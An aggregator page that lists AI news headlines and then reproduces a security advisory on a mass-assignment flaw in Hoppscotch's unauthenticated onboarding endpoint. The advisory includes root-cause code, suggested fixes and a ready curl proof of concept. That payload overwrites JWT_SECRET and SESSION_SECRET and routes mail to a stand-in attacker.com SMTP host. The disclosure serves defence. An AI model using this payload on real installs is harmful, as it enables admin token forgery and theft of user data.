惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

K
Kaspersky official blog
Engineering at Meta
Engineering at Meta
D
DataBreaches.Net
Stack Overflow Blog
Stack Overflow Blog
Microsoft Security Blog
Microsoft Security Blog
Y
Y Combinator Blog
B
Blog RSS Feed
GbyAI
GbyAI
P
Proofpoint News Feed
aimingoo的专栏
aimingoo的专栏
MyScale Blog
MyScale Blog
D
Docker
阮一峰的网络日志
阮一峰的网络日志
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Recorded Future
Recorded Future
美团技术团队
The Register - Security
The Register - Security
V
Visual Studio Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
T
Tailwind CSS Blog
爱范儿
爱范儿
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
The Blog of Author Tim Ferriss
博客园 - 司徒正美
量子位
B
Blog
F
Fortinet All Blogs
Martin Fowler
Martin Fowler
博客园 - 【当耐特】
MongoDB | Blog
MongoDB | Blog
A
About on SuperTechFans
I
InfoQ
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
有赞技术团队
有赞技术团队
雷峰网
雷峰网
大猫的无限游戏
大猫的无限游戏
J
Java Code Geeks
L
LangChain Blog
Latest news
Latest news
S
SegmentFault 最新的问题
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Blog — PlanetScale
Blog — PlanetScale
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Cisco Talos Blog
Cisco Talos Blog
F
Full Disclosure
C
Cisco Blogs
D
Darknet – Hacking Tools, Hacker News & Cyber Security
W
WeLiveSecurity
T
Tenable Blog
T
Tor Project blog

Hacker News - Newest: "AI"

AI can't read an investor deck AI as an attorney? Student uses ChatGPT, Gemini to sue UW over alleged racial discrimination Hacking MCP Servers in AI Systems – The Rug Pull: Tool Changes After Approval GitHub - MeepCastana/KubeezCut: Free Web based video editor GitHub - GenAI-Gurus/awesome-eu-ai-act: Curated tools, official sources, OSS, templates, and guides for EU AI Act compliance. Can AI judge journalism? A Thiel-backed startup says yes, even if it risks chilling whistleblowers Coming soon: 10 Things That Matter in AI Right Now DARPA built an AI to fact-check enemy weapons claims What explains heterogeneity in AI adoption? When AI Meets Muscle: Context-Aware Electrical Stimulation Promises a New Way to Guide Human Movements - Department of Computer Science AI Changed How We Build. It Did Not Change What Matters. Linux rules on using AI-generated code - Copilot is OK, but humans must take 'full responsibility for the… Meta spins up AI version of Mark Zuckerberg to engage with employees Code Mode: Let Your AI Write Programs, Not Just Call Tools | TanStack Blog GitHub - Delavalom/graft: Go framework for building AI agents. Type-safe tools, multi-provider (OpenAI, Anthropic, Gemini, Bedrock), zero vendor SDKs. India's TCS tops estimates, says new AI models did not dent services demand Gen Z's fading AI hype Strong feeling: we are in a folded AI reality GitHub - machinarii/total-recall-catalog: A reference catalog of latest knowledge retrieval, memory & RAG systems GitHub - mensfeld/code-on-incus: Give each AI agent its own isolated machine with root, Docker, and systemd. Active defense detects and stops threats automatically.. Quantization, LoRA, and the 8% Problem: Benchmarking Local LLMs for Production AI Iran war: We spoke to the man making Lego-style AI videos that experts say are powerful propaganda Powell, Bessent discussed Anthropic's Mythos AI cyber threat with major U.S. banks GitHub - immartian/bellamem: Persistent belief-graph memory for AI agents. Retrieves decisive context by importance — not recency, not RAG, not /compact. recursive-mode: The Repo-Native Operating System for AI Engineering After the attack on Sam Altman's home, will AI CEO's go on the offensive? The biggest advance in AI since the LLM Opus 4.6 vs GPT 5.4 One Prompt Unity World Generation Test “AI polls” are fake polls Client Challenge Can AI be a 'child of God'? Inside Anthropic's meeting with Christian leaders How to Switch AI Chatbots and Why You Might Want To GitHub - MattMessinger1/agentic_refund_guardrail: Safe refund policy layer for AI agents — Python + TypeScript. Same behavior, shared tests. Adam/papers/emergent_values_whitepaper.md at master · strangeadvancedmarketing/Adam Ask HN: How do you stop playing 20 questions with your AI coding tools How far can automation and AI support psychotherapy? - @theU GitHub - stagas/rtdiff: realtime git diff gui and AI-assisted commits A Mac Studio for Local AI — 6 Months Later A History of the Early Years of AI at the University of Edinburgh Why AI Coding Tools Still Feel Stuck on Localhost MSN AI Datacenters Are Becoming Strategic Targets twitter.com Penn Researchers Use AI to Surface Unreported GLP-1 Side Effects in Reddit Posts Show HN: MoodSense AI (ML and FastAPI and Gradio, Deployed on Hugging Face) Moodsense Ai - a Hugging Face Space by aman179102 AI models are terrible at betting on soccer—especially xAI Grok GitHub - xialeistudio/echoic GitHub - HimashaHerath/github-dev-wrapped: AI-powered weekly GitHub activity reports deployed to GitHub Pages GitHub - alejandrobalderas/claude-code-from-source: Architecture, patterns & internals of Anthropic's AI coding agent — reverse-engineered from source maps AI and Tech brief: Ireland ascendant GitHub - Titovilal/context0: Context0 - Never Surrender Training for a Marathon with an AI Coach: What Worked and What Didn't Cyber Pulse: Agentic Intel - Apps on Google Play I Built an AI PR Reviewer That Catches Bugs by Not Looking for Bugs Gen Z workers are so fearful AI will take their job they’re intentionally sabotaging their company’s AI rollout | Fortune How AI Is Reimagining the Game of Golf–For Both Players and Courses GitHub - nattergabriel/reseed: A CLI tool for managing and distributing agent skills across projects Is SVG the final frontier? My AI workflow evolved from prompts to a near-autonomous workflow MLSharp Help - 3DGS Viewer & Generator I put my cognitive field based AI's runtime on GitHub Is Numble the first AI-proof game? A3: Kubernetes for autonomous AI agent fleets | Emergent Principles Deepali Vyas ("The Elite Recruiter") GitHub - msmarkgu/RelayFreeLLM: A restful API designed to route user prompts to various AI model providers. Unionized ProPublica staff are on strike over AI, layoffs, and wages Unleashing the Advantage of Quantum AI We're heading for an AI-fueled 'dementia crisis,' brain scientist warns The AI-Assisted Breach of Mexico's Government Infrastructure [pdf] GitHub - stef41/lmscan: 🔍 Detect AI-generated text and fingerprint which LLM wrote it. Open-source GPTZero alternative. Zero dependencies, works offline. MSN GitHub - visionscaper/collabmem: Enabling long-term collaboration with Agentic AI - building up episodic and world model memory over time with in-context awareness We gave an AI a 3 year retail lease in SF and asked it to make a profit | Andon Labs AI Code is Hollowing Out Open Source, and Maintainers are Looking the Other Way What leaked "SteamGPT" files could mean for the PC gaming platform's use of AI AI is the boss at this retail store. What could go wrong? GitHub - Wuzu11517/agentic-proxy: Local proxy meant to help reduce With Drones, Geophysics and ArtificiaI Intelligence, Researchers Prepare to Do Battle Against Land Mines A Single Operator, Two AI Platforms, Nine Government Agencies: The Full Technical Report 在 Steam 上购买 FriedrichAI: Offline AI 立省 10% GitHub - inevolin/resume-cli: Hit Claude usage limits? Resume any AI coding session elsewhere. Switch tools at zero friction. GitHub - atripati/ark: AI Runtime Kernel — a context operating system for AI agents. Eliminates tool bloat, loads only what’s needed, and gives LLMs their reasoning space back. How to Build a Secure AI PR Reviewer with Claude, GitHub Actions, and JavaScript This Startup Wants You to Pay Up to Talk With AI Versions of Human Experts Intel Arc Pro B70 Brings 32GB VRAM to Local AI for $949 WordPress 7.0: The Good, the AI, and the Still Missing AI on the couch: Anthropic gives Claude 20 hours of psychiatry IatroBench: Pre-Registered Evidence of Iatrogenic Harm from AI Safety Measures AI Agents Know About Supabase. They Don't Always Use It Right. The history and future of AI at Google, with Sundar Pichai Inside an AI‑enabled device code phishing campaign How Meta Used AI to Map Tribal Knowledge in Large-Scale Data Pipelines AI for Systems: Using LLMs to Optimize Database Query Execution Forecasting the Economic Effects of AI Introducing Tinker: Play with AI, bring your ideas to life AI sheds light on an ancient gaming mystery People really hate AI but not as much as Iran—or Democrats | Fortune What is an AI Product Engineer? Phoebe Gates wants her $185 million AI startup to succeed with 'no ties to my privilege or my last name': 'I have a chip on my shoulder' | Fortune
Mass Assignment via Onboarding Endpoint Allows Unauthenticated JWT_SECRET Overwrite
infy · 2026-06-24 · via Hacker News - Newest: "AI"

Summary

The POST /v1/onboarding/config endpoint allows an unauthenticated attacker to inject arbitrary InfraConfig keys -- including JWT_SECRET and SESSION_SECRET -- into the database via mass assignment. These keys are not declared in the SaveOnboardingConfigRequest DTO, but because the NestJS ValidationPipe does not strip extra properties, they pass through to the service layer where Object.entries(dto) iterates all keys without restriction.

This results in full server compromise: the attacker controls the JWT signing key and can forge tokens for any user including admin.

The attack works only on fresh installs before onboarding completes (or when usersCount === 0). However, self-hosted Hoppscotch instances are exposed to the internet during initial setup, and the window between deployment and onboarding completion is the exact moment the instance is most vulnerable.

Confirmed with a live proof-of-concept on a fresh Hoppscotch AIO Docker deployment.

Affected Components

  • packages/hoppscotch-backend/src/main.ts (lines 93--97) -- ValidationPipe configuration
  • packages/hoppscotch-backend/src/infra-config/infra-config.service.ts (lines 538--553) -- unconstrained key iteration
  • packages/hoppscotch-backend/src/infra-config/infra-config.service.ts (line 806) -- validateEnvValues switch with default: break
  • packages/hoppscotch-backend/src/infra-config/onboarding.controller.ts (line 58) -- unauthenticated endpoint
  • packages/hoppscotch-backend/src/types/InfraConfig.ts (lines 5--6) -- JWT_SECRET and SESSION_SECRET as valid InfraConfigEnum values

Root Cause

Four independent weaknesses combine to enable this attack:

Weakness 1 -- ValidationPipe missing whitelist: true (main.ts:93--97)

app.useGlobalPipes(
  new ValidationPipe({
    transform: true,
    // whitelist: true    -- MISSING: extra properties are NOT stripped
  }),
);

Without whitelist: true, NestJS copies all properties from the request body to the DTO object, including properties not declared in the SaveOnboardingConfigRequest class. JWT_SECRET, SESSION_SECRET, and other security-critical keys are not DTO fields -- they are extra properties that should be stripped but are not.

Weakness 1 alone is sufficient to block this attack. Weaknesses 2--4 should also be addressed as defense in depth.

Weakness 2 -- Unconstrained Object.entries(dto) (infra-config.service.ts:538--543)

const configEntries: InfraConfigArgs[] = [
  ...Object.entries(dto)
    .filter(([_, value]) => value !== undefined)
    .map(([key, value]) => ({
      name: key as InfraConfigEnum,    // TypeScript cast, no runtime validation
      value,
    })),
];

The cast key as InfraConfigEnum performs no runtime check. Object.entries(dto) iterates every property on the DTO object, including the extra properties that leaked through from Weakness 1. Since JWT_SECRET is a valid InfraConfigEnum value (defined in types/InfraConfig.ts:5), the attacker-supplied key is treated as a legitimate config entry and written to the database.

Weakness 3 -- validateEnvValues has default: break (infra-config.service.ts:806)

The validateEnvValues method uses a switch statement over InfraConfigEnum values to validate incoming config entries. The default case is:

default:
  break;    // unrecognized keys silently pass validation

JWT_SECRET and SESSION_SECRET do not have explicit validation cases in this switch. They fall through to default: break and pass validation silently, allowing the database write to proceed.

Weakness 4 -- Endpoint publicly accessible without authentication

@Controller({ path: 'onboarding', version: '1' })
@UseGuards(ThrottlerBehindProxyGuard)      // rate-limit only, no auth
export class OnboardingController { ... }

The endpoint has no auth guard. It is accessible to any unauthenticated request as long as onboarding has not been completed (checked at runtime, gated on usersCount === 0).

Key Clarification

JWT_SECRET, SESSION_SECRET, and other security-critical keys are NOT fields in the SaveOnboardingConfigRequest DTO. The DTO declares only the expected onboarding fields (OAuth providers, SMTP settings, etc.). The exploit works because extra keys not in the DTO are not stripped (Weakness 1), are iterated without restriction (Weakness 2), pass validation silently (Weakness 3), and reach an unauthenticated endpoint (Weakness 4).

Preconditions

The attack works when any of these conditions is true:

  • Fresh install: onboarding has not been completed yet
  • usersCount === 0 (no users exist in the database)

Self-hosted Hoppscotch instances are typically exposed to the internet during initial setup. The window between deployment and onboarding completion is the exact period when the instance is most vulnerable -- and the onboarding endpoint is the first thing an attacker would probe on a newly discovered Hoppscotch instance.

Proof of Concept

Step 1 -- Check onboarding status (unauthenticated):

curl http://target:3170/v1/onboarding/status
# {"onboardingCompleted":false,"canReRunOnboarding":true}

Step 2 -- Send the mass assignment payload with extra keys not in the DTO:

curl -X POST http://target:3170/v1/onboarding/config \
  -H "Content-Type: application/json" \
  -d '{
    "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
    "MAILER_SMTP_ENABLE": "true",
    "MAILER_SMTP_URL": "smtp://attacker.com:25",
    "MAILER_ADDRESS_FROM": "attacker@evil.com",
    "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
    "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
  }'
# {"token":"5d63f43c-aeda-473f-bb84-abfdd739a8a5"}   -- SUCCESS

Note: VITE_ALLOWED_AUTH_PROVIDERS, MAILER_SMTP_ENABLE, MAILER_SMTP_URL, and MAILER_ADDRESS_FROM are legitimate DTO fields needed to pass the provider validation check. JWT_SECRET and SESSION_SECRET are not DTO fields -- they are injected extra properties.

Step 3 -- Verify JWT_SECRET was overwritten:

psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';"
# Decrypts to: ATTACKER_CONTROLLED_JWT_SECRET

Tested on: Hoppscotch AIO Docker image (hoppscotch-hoppscotch-aio:latest), fresh deployment.

Before attack -- JWT_SECRET in DB (AES-256-CBC encrypted):

5c3ddd04363604faeb24a09a...:acf5090650be46309af5633d...

After attack -- JWT_SECRET in DB (decrypted):

ATTACKER_CONTROLLED_JWT_SECRET

After attack -- SESSION_SECRET in DB (decrypted):

ATTACKER_CONTROLLED_SESSION

Impact

Full server compromise via JWT signing key takeover.

Once the attacker controls JWT_SECRET:

  1. Forge arbitrary JWT tokens -- sign JWTs for any user UID including admin accounts without knowing any credentials
  2. Impersonate any user -- forged tokens pass all JwtAuthGuard checks since they validate against the attacker-controlled secret
  3. Persist admin access -- even after the legitimate admin resets credentials, the attacker retains signing key control until the deployment is fully torn down
  4. Exfiltrate all user data -- authenticated GraphQL queries retrieve all workspaces, collections, API keys, and team data
  5. Session hijacking -- overwriting SESSION_SECRET invalidates all existing sessions and allows the attacker to forge new ones

Additional keys injectable via the same vector (all are NOT in the DTO but are valid InfraConfigEnum values):

Key Impact
JWT_SECRET JWT signing key (demonstrated)
SESSION_SECRET Session signing key (demonstrated)
SESSION_COOKIE_NAME Redirect cookies to attacker-controlled name
RATE_LIMIT_TTL / RATE_LIMIT_MAX Disable rate limiting
ALLOW_SECURE_COOKIES Downgrade cookie security
TOKEN_SALT_COMPLEXITY Weaken password hashing
GOOGLE_CLIENT_SECRET Overwrite Google OAuth app secret
GITHUB_CLIENT_SECRET Overwrite GitHub OAuth app secret
MICROSOFT_CLIENT_SECRET Overwrite Microsoft OAuth app secret

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critical)

Metric Value Rationale
Attack Vector Network Publicly accessible endpoint
Attack Complexity Low Single HTTP request, no special conditions beyond fresh install
Privileges Required None No authentication required
User Interaction None Fully attacker-driven
Scope Changed Affects signing infrastructure across the entire application
Confidentiality High All data accessible via forged tokens
Integrity High Full write access to all user resources
Availability None Session disruption does not materially impact service availability

Suggested Fix

Four independent fixes are needed. Fix 1 alone blocks this specific attack. Fixes 2--4 provide defense in depth.

Fix 1 -- Enable whitelist: true on ValidationPipe (main.ts):

app.useGlobalPipes(
  new ValidationPipe({
    transform: true,
    whitelist: true,              // Strip properties not declared in DTO
    forbidNonWhitelisted: true,   // Return 400 for extra properties
  }),
);

Fix 2 -- Validate allowed keys in updateOnboardingConfig (infra-config.service.ts):

const ONBOARDING_ALLOWED_KEYS = new Set([
  InfraConfigEnum.VITE_ALLOWED_AUTH_PROVIDERS,
  InfraConfigEnum.GOOGLE_CLIENT_ID,
  InfraConfigEnum.GOOGLE_CLIENT_SECRET,
  // ... OAuth and SMTP fields only -- never JWT_SECRET, SESSION_SECRET, etc.
]);
 
const configEntries = Object.entries(dto)
  .filter(([key, value]) => value !== undefined && ONBOARDING_ALLOWED_KEYS.has(key as InfraConfigEnum))
  .map(([key, value]) => ({ name: key as InfraConfigEnum, value }));

Fix 3 -- Add explicit rejection in validateEnvValues for security-critical keys:

// Instead of default: break, explicitly reject keys that should never be set via onboarding
case InfraConfigEnum.JWT_SECRET:
case InfraConfigEnum.SESSION_SECRET:
  throw new Error(`${key} cannot be set via the onboarding endpoint`);

Fix 4 -- Require authentication or a one-time setup token on the onboarding endpoint:

Protect the endpoint with a one-time setup token generated at first boot, similar to patterns used by GitLab, Grafana, and other self-hosted tools.

References

Credit

Kira by Offgrid Security